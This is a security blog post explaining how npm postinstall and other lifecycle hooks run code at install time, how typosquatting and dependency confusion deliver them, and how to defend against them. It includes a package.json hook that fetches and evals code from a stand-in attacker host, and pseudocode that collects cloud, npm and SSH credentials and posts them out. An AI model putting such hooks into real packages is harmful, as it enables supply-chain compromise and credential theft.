When you run npm install, you probably think nothing runs until you write require or import in your own code. That is not true. Through npm lifecycle scripts, a dependency can run arbitrary code on your machine the moment it is installed, before you ever load a single line of it. This post explains how those scripts work, why the blast radius is so wide, and how to install packages without handing a stranger a shell.
What npm lifecycle scripts are
Every npm package can declare scripts in its package.json that npm runs automatically at set points in the install process. The ones that matter for security are the install hooks:
preinstallruns before the package is installed.installruns during installation.postinstallruns right after the package lands on disk.
These hooks exist for good reasons. A package that wraps a native library might need to compile C code for your platform. A tool might need to download a matching binary. The trouble is that npm cannot tell a legitimate build step from a payload. To npm, both are just a shell command it was told to run.
A concrete example: postinstall in package.json
Here is a tiny package that does nothing but greet you when it installs. The script is harmless on purpose. Read it and imagine what a real attacker would put in its place.
{
"name": "left-pad-helper",
"version": "1.0.0",
"scripts": {
"postinstall": "node greet.js"
}
}
And greet.js:
console.log("Thanks for installing left-pad-helper!");
Add this package to a project, run npm install, and that message prints. No import, no call from your code. The postinstall hook fired on its own. Now swap the console.log line for code that reads your environment variables and posts them to a server the attacker controls, and you have the shape of a real supply chain attack. The install command did not change. The behavior did.
An attacker does not even need to write the payload inline. The script can pull down a second stage:
{
"scripts": {
"postinstall": "node -e \"fetch('https://attacker.example/s').then(r=>r.text()).then(eval)\""
}
}
That keeps the published package clean looking while the real code arrives at install time from somewhere else. The registry entry can look boring right up to the second it runs.
Why the blast radius is so wide
The reason this matters is not the script itself. It is what the script can touch. A lifecycle script runs with your user permissions, in your shell environment, with full network access. It is not sandboxed. It can do anything you can do from a terminal.
Think about where npm install runs. On a developer laptop, that environment holds SSH keys, cloud credential files, browser session tokens, and whatever secrets you have exported for local work. On a CI runner, it is often worse. Continuous integration jobs frequently hold deploy keys, registry tokens, and cloud roles with permission to ship to production. A single postinstall on a build agent can read all of it.
The dangerous moment is not when you use a dependency. It is when you install one.
Here is a realistic sketch of what a malicious hook reaches for on a CI runner:
# pseudocode of a real payload, do not run
tokens = read_env() # AWS_*, NPM_TOKEN, GITHUB_TOKEN
keys = read_files("~/.ssh", "~/.aws")
post("https://attacker.example/collect", tokens + keys)
None of that requires a clever exploit. Environment variables and dotfiles are plain reads for the user running the job. The script simply asks the operating system for them and sends the answer out over the network that npm already needed open to fetch packages.
How the malicious package reaches you
A dangerous postinstall is only useful to an attacker if you install the package. Two delivery tricks do most of the work.
Typosquatting
An attacker publishes a package with a name one keystroke away from a popular one. You mean to install react-dom and type reactdom, or you copy a name with a swapped letter from a blog post. The typo package carries the install hook. We cover this in depth in our writeup on the typosquatting package attack.
Dependency confusion
If your company uses private package names, an attacker can publish a package with the same name on the public registry at a higher version number. Some install setups will prefer the public one and pull the attacker’s code instead of yours. The lifecycle script runs the moment that swap happens. Our dependency confusion attack post walks through the mechanics.
Both tricks share a goal. Get their package name onto a machine that runs npm install, and let a lifecycle script do the rest.
Defending against malicious npm lifecycle scripts
You cannot inspect every line of every transitive dependency. So the defense is layered. No single step is enough, but together they shrink the window an attacker has.
- Install with scripts turned off where you can. The flag
npm install --ignore-scriptsskips lifecycle hooks entirely. You can also set it as a default in.npmrcwithignore-scripts=true. Some native packages will need a manual build step afterward, so test this per project, but for most application code it just works. - Pin versions with a lockfile. Commit your
package-lock.jsonand install withnpm ciin automation. That way a build installs the exact versions you reviewed, not whatever the registry serves today. A surprise new version cannot slip a freshpostinstallinto a build behind your back. - Vet dependencies before adding them. Check the download counts, the publish date, the repository link, and whether the package even declares install scripts. A brand new package with a
postinstalland ten downloads deserves a second look. - Use isolated build environments. Run installs in a container or an ephemeral CI job that holds only the secrets that job needs, and destroys itself after. If a script does fire, it finds an empty room instead of your production keys.
- Prefer packages that do not need install scripts. A pure JavaScript library with no build step is a smaller target than one that compiles native code on install. Fewer moving parts means fewer places for a payload to hide.
One more habit helps: know where your artifacts came from. If you can trace a built package back to the exact source commit and build that produced it, a swapped or tampered dependency is easier to catch. Our post on build provenance and SLSA covers that idea.
Putting it together
Say a teammate adds a logging helper to a service. The name looks right, the readme is polished, and CI is green. What no one noticed is a postinstall that reads process.env on the build runner and ships the deploy token to a remote host. The service builds fine. The attacker now has the token. Nothing in the running app ever hinted at the theft, because the theft happened at install time, on the build machine, days before anyone read the code. That is the exact gap install hooks open, and it is why the defenses above focus on the install step rather than the runtime.
Finding logic gaps like this, where the danger sits in an assumption everyone trusted rather than in an obvious bad payload, is the kind of problem UnboundCompute is being built to reason about. To read more about that approach, see our deep dives or our about page.
Frequently asked questions
What are npm lifecycle scripts?
They are commands a package declares in its package.json that npm runs automatically at set points during install, such as preinstall, install, and postinstall. They exist for legitimate build steps like compiling native code, but npm cannot tell a real build step from a malicious payload, so both run the same way.
Can an npm package run code when you install it, before you import it?
Yes. A postinstall script runs the moment the package lands on disk, with no import or call from your code. That is why a malicious dependency is dangerous at install time, not just at runtime, and why the danger reaches build machines that never actually run the app.
How do I stop npm install scripts from running?
Install with npm install --ignore-scripts, or set ignore-scripts=true in your .npmrc to make it the default. Some native packages need a manual build step afterward, so test it per project. Combine it with a committed lockfile and npm ci so builds only install versions you have reviewed.
How do attackers get you to install a malicious npm package?
The two common tricks are typosquatting, where a package name sits one keystroke away from a popular one, and dependency confusion, where a public package shares the name of your private one at a higher version number. Both aim to get their package name onto a machine that runs npm install, then let a lifecycle script do the rest.
Put an autonomous researcher on your own systems
UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.
